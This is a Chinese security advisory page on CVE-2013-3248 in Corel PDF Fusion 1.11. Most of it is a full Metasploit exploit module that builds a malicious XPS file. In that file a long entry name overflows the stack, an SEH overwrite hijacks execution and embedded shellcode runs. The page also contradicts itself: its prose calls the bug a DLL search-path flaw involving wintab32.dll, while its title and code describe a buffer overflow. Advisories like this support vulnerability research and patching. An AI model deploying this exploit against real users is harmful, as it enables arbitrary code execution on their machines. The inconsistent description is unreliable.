当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

Corel PDF Fusion栈缓冲区溢出漏洞(CVE-2013-3248)

     发表日期:2014-12-10 17:39:14

Corel PDF Fusion栈缓冲区溢出漏洞(CVE-2013-3248)

BugTraq-ID:61010

CVE-ID:CVE-2013-3248

发布日期:2013-07-08

更新日期:2013-07-08

受影响系统:

wordperfect Corel PDF Fusion 1.11

详细信息:

Corel PDF Fusion可以查看或合并PDF文档。 Corel PDF Fusion 1.11及其他版本在实现上存在可疑搜索路径漏洞,本地用户通过当前工作目录内的木马wintab32.dll文件,利用此漏洞可获取提升的权限。

来源:

kaveh ghaemmaghami

测试方法:

警告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require \'msf/core\' require \'rex/zip\' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, \'Name\' => \'Corel PDF Fusion Stack Buffer Overflow\', \'Description\' => %q{ This module exploits a stack-based buffer overflow vulnerability in version 1.11 of Corel PDF Fusion. The vulnerability exists while handling a XPS file with long entry names. In order for the payload to be executed, an attacker must convince the target user to open a specially crafted XPS file with Corel PDF Fusion. By doing so, the attacker can execute arbitrary code as the target user. }, \'License\' => MSF_LICENSE, \'Author\' => [ \'Kaveh Ghaemmaghami\', # Vulnerability discovery \'juan vazquez\' # Metasploit module ], \'References\' => [ [ \'CVE\', \'2013-3248\' ], [ \'OSVDB\', \'94933\' ], [ \'BID\', \'61010\' ], [ \'URL\', \'http://secunia.com/advisories/52707/\' ] ], \'Platform\' => [ \'win\' ], \'Payload\' => { \'DisableNops\' => true, \'Space\' => 4000 }, \'Targets\' => [ # Corel PDF Fusion 1.11 (build 2012/04/25:21:00:00) # CorelFusion.exe 2.6.2.0 # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates [ \'Corel PDF Fusion 1.11 / Windows XP SP3\', { \'Ret\' => 0x00280b0b, \'Offset\' => 4640 } ] ], \'DisclosureDate\' => \'Jul 08 2013\', \'DefaultTarget\' => 0)) register_options( [ OptString.new(\'FILENAME\', [ true, \'The output file name.\', \'msf.xps\']) ], self.class) end def exploit template = [ "[Content_Types].xml", "_rels/.rels", "docProps/thumbnail.jpeg", "docProps/core.xml", "FixedDocSeq.fdseq", "Documents/1/Pages/_rels/1.fpage.rels", "Documents/1/_rels/FixedDoc.fdoc.rels", "Documents/1/FixedDoc.fdoc", "Documents/1/Structure/Fragments/1.frag", "Documents/1/Structure/DocStructure.struct", "Documents/1/Pages/1.fpage", ] xps = Rex::Zip::Archive.new template.each do |k| xps.add_file(k, rand_text_alpha(10 + rand(20))) end resources_length = "Resources/".length sploit = "Resources/" sploit << payload.encoded sploit << rand_text(target[\'Offset\'] - sploit.length) sploit << generate_seh_record(target.ret) sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target[\'Offset\'] + 8 - resources_length}").encode_string # 8 => seh_record length sploit << rand_text(1500) # Trigger exception xps.add_file(sploit, rand_text_alpha(10 + rand(20))) print_status("Creating \'#{datastore[\'FILENAME\']}\' file...") file_create(xps.pack) end end

解决办法:

厂商补丁:

wordperfect

-----------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.wordperfect.com/us/product/pdf-creator/